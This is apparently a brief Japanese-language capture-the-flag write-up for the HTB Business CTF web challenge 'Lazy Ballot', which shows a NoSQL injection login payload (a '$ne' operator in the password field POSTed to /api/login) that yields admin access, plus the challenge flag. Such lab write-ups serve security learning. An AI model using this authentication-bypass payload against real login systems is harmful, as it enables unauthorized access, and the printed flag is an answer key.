d415k's CTF memos.

雑な技術メモ

17 July 2023

[Web] Lazy Ballot (300 pts, 383 solved)

Description

As a Zenium State hacker, your mission is to breach Arodor’s secure election system, subtly manipulating the results to create political chaos and destabilize their government, ultimately giving Zenium State an advantage in the global power struggle.

Solution

ログイン画面でNoSQL injectionすることで、管理者でログインができる。

/api/login に対して以下のペイロードをPOSTする。

{
    "username":"admin",
    "password":{
        "$ne":"wrongpassword"
    }
}

管理画面にログインした後、最後のVotesのRegion欄にフラグがある。

Flag: HTB{c0rrupt3d_c0uch_b4ll0t}

tags: CTF - WriteUps - HTB Business CTF